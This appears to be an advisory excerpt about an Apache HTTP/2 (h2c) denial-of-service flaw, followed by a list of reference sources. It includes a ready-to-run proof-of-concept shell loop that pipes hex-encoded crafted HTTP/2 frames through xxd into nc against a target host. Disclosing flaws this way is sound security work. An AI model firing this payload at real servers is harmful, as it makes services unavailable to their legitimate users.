A simple demonstration of this for a server with h2c enabled is as follows:
for x in seq 0 500; do echo 505249202a20485454502f322e300d0a0d0a534d0d0a0d0a00001204000000000000000000006400044000000000020000000000001b0104000000018284864187089d5c0b8178ff7a8825b650c3abb6f2e053032a2f2a00001b0105000000019a84864187089d5c0b8178ff7a880000000000000000 | xxd -r -p | nc hostname port 2>&1 >/dev/null & done

Impact

Certain crafted HTTP2 requests identified with afl-fuzz can cause Apache worker threads to stay open waiting for data until a timeout. A typical configuration has a 1 minute timeout with 150 request workers. This means an attacker can effectively make the service unresponsive to legitimate users with a slow rate (3-4 requests/second) of short crafted requests.

openvas 8

redhatcve 1

photon 4

nessus 16

veracode 4

debiancve 1

cvelist 1

httpd 1

alpinelinux 1

osv 1

nvd 1

cve 1